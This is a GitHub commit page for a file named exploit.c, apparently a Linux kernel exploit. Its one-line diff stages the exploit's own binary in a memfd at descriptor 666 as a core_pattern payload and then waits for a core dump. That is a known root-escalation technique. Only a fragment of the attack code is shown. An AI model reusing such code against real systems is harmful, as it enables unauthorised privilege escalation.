Skip to content

Commit

Permalink
Update exploit.c
Browse files Browse the repository at this point in the history
  • Loading branch information
d4em0n authored Dec 6, 2024
1 parent 2593d85 commit 39a46e8
Showing 1 changed file with 1 addition and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -280,6 +280,7 @@ void crash(char *cmd)
// send our binary to memfd for core_pattern payload
SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
// our binary now at file descriptor 666
dup2(memfd, 666);
close(memfd);
while (check_core() == 0)
sleep(1);
Expand Down

0 comments on commit 39a46e8

Please sign in to comment.